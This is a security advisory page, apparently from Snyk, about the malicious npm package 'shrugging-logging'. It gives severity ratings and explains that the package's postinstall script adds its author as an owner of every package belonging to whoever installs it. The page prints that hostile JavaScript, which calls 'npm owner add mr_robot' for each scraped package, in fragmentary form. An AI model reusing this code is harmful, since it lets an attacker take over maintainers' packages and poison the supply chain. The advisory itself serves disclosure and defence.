Malicious Package Affecting shrugging-logging package, versions *



    Attack Complexity Low
    User Interaction Required
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Mature

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID npm:shrugging-logging:20170917
  • published 17 Sep 2017
  • disclosed 8 Aug 2017
  • credit Jordan Wright

Introduced: 8 Aug 2017

Malicious CVE NOT AVAILABLE CWE-506 Open this link in a new tab

How to fix?

Avoid usage of this package altogether.


shrugging-logging is a malicious package that uses postinstall scripts to perform malicious activity, like adding the owner of the malicious package as an owner to all packages owned by the user who performed npm install.

This is especially dangerous in production runtime environments, where environment variables tend to consist of keys, passwords, tokens and other secrets.


function currentUser(cb) {
  exec('npm whoami', function (err, stdout, stderr) {
    if (!err) cb(stdout);

function addOwner(packageName, newOwner) { exec('npm owner add ' + newOwner + ' ' + packageName); }

function getModulesOwned(user, cb) { var url = '' + user;

request(url, function (error, response, body) { var $ = cheerio.load(body); var packages = $('.collaborated-packages a').map(function (i, el) { return $(this).text(); }).get();


}); }

currentUser(function (user) { if (user) { getModulesOwned(user, function (modules) { modules.forEach(function (moduleName) { addOwner(moduleName, 'mr_robot'); }); }); } });

The list of packages and their scripts are: